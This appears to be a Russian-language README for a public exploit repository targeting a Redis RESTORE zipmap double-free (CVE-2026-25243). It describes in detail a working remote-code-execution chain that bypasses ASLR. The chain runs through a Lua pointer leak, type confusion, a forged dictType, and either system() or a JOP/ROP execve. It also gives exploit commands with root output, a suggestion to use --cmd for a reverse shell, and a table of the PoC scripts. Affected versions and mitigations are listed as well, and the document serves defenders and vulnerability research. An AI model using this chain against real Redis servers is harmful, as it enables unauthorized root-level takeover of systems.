
CVE-2026-25243 — Redis RESTORE zipmap double-free → удаленное выполнение кода (ASLR включен).
RESTORE zipmap двойное освобождение → удаленное выполнение кодаКратко. Некорректная полезная нагрузка
DUMP, переданная вRESTORE, вызывает двойное освобождение кучи в загрузчике устаревшего hash-zipmap в Redis. При использовании jemalloc по умолчанию двойное освобождение происходит тихо (сервер продолжает работу), что превращает его в управляемый примитив type-confusion. В этом репозитории цепочка доведена до удаленного выполнения кода с включенным ASLR — рабочий процесс Redis вызываетsystem("<строка атакующего>")и продолжает обслуживание. Не DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
Утечка, обходящая ASLR, не использует DEBUG — она считывает адрес Lua C-замыкания redis.call
(EVAL 'return tostring(redis.call)') — та же самодостаточная техника без DEBUG, что и в нашем предыдущем
эксплойте для Redis. Затем blob_base/blob_robj и база PIE вычисляются во время выполнения из
over-read (без фиксированного смещения). Финиш PIE-ROP вызывает execve@plt через JOP stack-pivot, поэтому
не используется ни одного адреса libc — единственные константы, зависящие от сборки, — это относительные
смещения гаджетов PIE, считываемые из бинарника redis-server, точно так же, как таблица гаджетов
для каждой сборки в нашем предыдущем эксплойте HLL. Проверено: uid=0(root), ASLR включен, 8/8, на
сервере с DEBUG, отключенным по умолчанию.
Предоставлены два финиша.
poc_rce_aslr_pie_rop.py(выше) — самый самодостаточный — без libc, полностью самокалибрующийся — ноexecveзаменяет рабочий процесс (используйте--cmdдля обратного шелла; лучше всего для настоящего шелла).poc_rce_aslr_selfcal.pyсохраняет рабочий процесс живым (system()создает дочерний процесс) ценой двух смещений версий libc. Выбирайте в зависимости от того, нужно ли, чтобы сервер продолжал работу.
RESTORE key 0 <полезная нагрузка DUMP> десериализует сериализованный объект. Для устаревшего типа
RDB_TYPE_HASH_ZIPMAP (0x09) валидатор и конвертер расходятся во мнении, сколько байтов занимает поле длины:
zipmapValidateIntegrity() проходит с фактическим закодированным размером (5 для длинного префикса 0xFE);zipmapNext() во время конверсии zipmap → listpack использует 1 байт для любой декодированной длины < 254.Короткая длина, записанная в длинной 5-байтовой форме, проходит валидацию, но заставляет zipmapNext()
сместиться на 4 байта неверно. Из того же неверного смещения вытекают два следствия: переполнение при
чтении кучи (over-read) (zipmap.c) и, в Redis, двойное освобождение кучи в загрузчике hash-zipmap из rdb.c:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd принял владение `field` -> освобождено здесь
sdsfree(field); // (2) освобождено СНОВА -> двойное освобождение
Valkey защищается от этого (if (!field_added) sdsfree(field)); в оригинальном Redis этого нет, поэтому
двойное освобождение характерно только для Redis. Исправление отклоняет короткую длину в длинной кодировке
и изменяет порядок проверок во время загрузки.
тихое двойное освобождение -> наложение type-confusion -> произвольная подделка указателя
-> подделка dict->type хэш-таблицы на поддельный dictType
-> HGET hd "<поле>" == dictFind -> type->hashFunction(поле)
путь libc (selfcal): hashFunction = &system -> system("<команда>") (рабочий процесс выживает)
путь PIE (pie_rop): hashFunction = JOP-pivot g1, поле = ROP-цепочка
-> leave;ret переносит rsp на поле
-> execve("/bin/sh","-c","<команда>") через execve@plt (без libc, без DEBUG)
Поддельный dictType размещается внутри 16-МБ строки (SETRANGE) по смещению, младшие байты адреса
которого совпадают с заголовком sds строки атакующего. ASLR обходится полностью во время выполнения:
system — одна утечка указателя на кучу. Рекомендуемый путь — без DEBUG: адрес Lua C-замыкания
redis.call (EVAL 'return tostring(redis.call)') — та же самодостаточная утечка, которую использует
наш предыдущий эксплойт для Redis. Арены jemalloc находятся на постоянном смещении от libc, поэтому
system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT — это только удобство в лаборатории,
когда скриптинг отключен, но DEBUG включен — более редкая конфигурация.)SET так, чтобы его элемент был 107-КБ SDS
типа SDS_TYPE_32, SMEMBERS считывает соседнюю кучу, и robj.ptr блоба считывается по известному
смещению.См. WRITEUP.md для полного примитив-за-примитивом анализа и деталей jemalloc / Redis-8.x
(граница класса-64, тегирование записей словаря, mstr хэш-поля, предварительное расширение ключевого
пространства).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG)Загрузочная утечка указателя на кучу следует тому же подходу, что и наш предыдущий эксплойт для Redis:
утечка адреса Lua C-замыкания redis.call с помощью EVAL 'return tostring(redis.call)'. Lua-скриптинг
включен по умолчанию; DEBUG выключен по умолчанию (enable-debug-command no) — поэтому утечка Lua
является реалистичным основным вариантом, а DEBUG OBJECT (poc_rce_aslr.py) — только лабораторное
удобство. poc_rce_aslr_selfcal.py затем выводит blob_base и blob_robj во время выполнения из
over-read (сканирует сигнатуру robj 16-МБ блоба), так что DLUA/DFOBJ должны быть приблизительными.
Для финиша через system переполнение при чтении в малой куче не содержит указателей на libc,
поэтому libc не может быть вычислена автоматически — poc_rce_aslr_selfcal.py сохраняет два смещения
версий libc (DLIBC, SYSTEM_OFF). Финиш poc_rce_aslr_pie_rop.py полностью устраняет эту
зависимость: тот же over-read содержит указатели PIE (повторяющийся общий dictType), поэтому база
PIE самокалибруется как most-common-PIE-value − DICTTYPE_OFF, и цепочка завершается execve@plt
через JOP stack-pivot (mov rbp,rdi; call *0x8(rax) → leave;ret переносит rsp на управляемое
атакующим поле HGET, которое является ROP-цепочкой execve("/bin/sh","-c",<команда>)). Единственные
константы, зависящие от сборки, — это относительные смещения гаджетов PIE, считываемые из —
извлекайте их для каждой цели с помощью /, точно так же, как наш предыдущий эксплойт
HLL сопоставляет таблицу гаджетов с Build-ID ELF. Адреса libc не используются.
screenshots/05-pie-rop-libc-free.png (самокалибровка NO libc + uid=0, самый самодостаточный запуск),
01-rce-aslr-on.png (денежный снимок uid=0), 02-reliability.png (5/5), 03-exploit-chain.png (код),
и 04-debug-free-selfcal.png (запуск system без DEBUG, с самокалибровкой на Redis по умолчанию).
RESTORE — обычная команда — на неаутентифицированном/открытом
Redis (без requirepass) любой подключенный клиент может ее выполнить; на экземпляре с аутентификацией —
любой пользователь, которому ACL не запрещает -restore. Тот же профиль доступа, что и у команд
структур данных, используемых в других RCE для Redis.< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — т.е. 6.2.x до текущей 8.x;
Valkey страдает только от DoS/over-read (его защита field_added блокирует двойное освобождение).Обновитесь до исправленной версии. Если это невозможно: ограничьте RESTORE (ACL … -restore), никогда
не выставляйте Redis без аутентификации и отключите DEBUG.
Авторизованное исследование безопасности, опубликовано для осведомленности защитников. Не запускайте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
| файл | что демонстрирует |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | самый самодостаточный — RCE на Redis по умолчанию (DEBUG выключен), НЕТ смещений libc; самокалибрует blob_base/blob_robj/pie_base; execve@plt через JOP-pivot (рабочий процесс заменяется). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | рабочий процесс выживает — та же цепочка, но hashFunction=&system (форк); требует двух смещений версий libc (DLIBC/SYSTEM_OFF). Утечка Lua-замыкания, самокалибровка blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | без DEBUG (утечка Lua), но с фиксированными смещениями (калибровка при включенном DEBUG) |
exploits/poc_rce_aslr.py | лабораторный вариант: загрузочная утечка через DEBUG OBJECT (требует включенного DEBUG) |
exploits/poc_rce_aslr_off.py | RCE с выключенным ASLR (калиброванные адреса) |
exploits/poc_typeconfusion.py | двойное освобождение → два ключа используют один буфер кучи (без инструментов) |
exploits/poc_doublefree.py | двойное освобождение (ASan: use-after-free в sdsfree) |
exploits/poc_dos_overread.py | краш из-за переполнения при чтении (ASan) |
redis-serverROPgadgetobjdump